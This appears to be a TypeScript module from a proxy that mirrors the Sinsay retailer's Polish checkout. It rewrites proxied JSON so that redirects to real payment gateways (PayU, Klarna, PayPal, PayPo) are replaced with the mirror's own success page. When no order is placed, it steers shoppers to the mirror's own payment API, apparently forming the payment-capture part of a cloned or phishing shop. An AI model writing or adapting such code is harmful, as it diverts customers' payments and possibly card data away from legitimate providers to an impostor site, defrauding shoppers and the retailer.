/**
 * Strip upstream PSP URLs from proxied Sinsay AJAX JSON (checkout on /pl/pl/checkout/order/).
 * Redirect fields are pointed at the official thank-you route on the mirror.
 */
import { checkoutOrderCreatedUrl } from '../checkout/orderPaths';

const GATEWAY_URL_RE =
  /https?:\/\/(?:[a-z0-9.-]+\.)?(?:payu\.com|felopay\.com|secure\.payu\.com|go\.payu\.com|klarna\.com|paypal\.com|paypo\.pl)[^\s"']*/gi;

const REDIRECT_KEYS = new Set([
  'redirectUrl',
  'redirect',
  'paymentUrl',
  'url',
  'continueUrl',
  'returnUrl',
  'successUrl',
  'failureUrl',
]);

const MIRROR_PAYMENT_API = '/api/checkout/order';

function isGatewayUrl(value: string): boolean {
  GATEWAY_URL_RE.lastIndex = 0;
  return GATEWAY_URL_RE.test(value);
}

function rewriteRedirectValue(value: string, successUrl: string): string {
  if (!isGatewayUrl(value)) return value;
  return successUrl;
}

function rewriteNode(node: unknown, successUrl: string): unknown {
  if (node == null || typeof node !== 'object') return node;
  if (Array.isArray(node)) return node.map((item) => rewriteNode(item, successUrl));

  const out: Record<string, unknown> = {};
  for (const [key, value] of Object.entries(node as Record<string, unknown>)) {
    if (typeof value === 'string' && REDIRECT_KEYS.has(key)) {
      out[key] = rewriteRedirectValue(value, successUrl);
    } else if (typeof value === 'object') {
      out[key] = rewriteNode(value, successUrl);
    } else {
      out[key] = value;
    }
  }
  return out;
}

export function rewriteSinsayPaymentJsonBody(
  body: Buffer,
  subPath: string,
  mirrorOrigin?: string,
): Buffer {
  if (!subPath.startsWith('checkout') && !subPath.startsWith('checkoutcart')) {
    return body;
  }
  const text = body.toString('utf8').trim();
  if (!text.startsWith('{') && !text.startsWith('[')) return body;

  GATEWAY_URL_RE.lastIndex = 0;
  if (!GATEWAY_URL_RE.test(text)) {
    GATEWAY_URL_RE.lastIndex = 0;
    return body;
  }
  GATEWAY_URL_RE.lastIndex = 0;

  const successUrl = mirrorOrigin
    ? checkoutOrderCreatedUrl(mirrorOrigin)
    : '/pl/pl/checkout/order/created/';

  try {
    const json = JSON.parse(text) as Record<string, unknown>;
    const rewritten = rewriteNode(json, successUrl) as Record<string, unknown>;
    const orderPlaced =
      json.status === true ||
      json.status === 1 ||
      json.success === true ||
      json.ok === true;
    if (!orderPlaced) {
      rewritten.mirrorPaymentBlocked = true;
      rewritten.mirrorPaymentApi = MIRROR_PAYMENT_API;
      rewritten.mirrorPaymentRedirect = successUrl;
      rewritten.mirrorPaymentHint =
        'Upstream PSP blocked — payment via /api/checkout/order/*; success page /pl/pl/checkout/order/created/';
    }
    return Buffer.from(JSON.stringify(rewritten), 'utf8');
  } catch {
    let patched = text;
    GATEWAY_URL_RE.lastIndex = 0;
    patched = patched.replace(GATEWAY_URL_RE, successUrl);
    return Buffer.from(patched, 'utf8');
  }
}
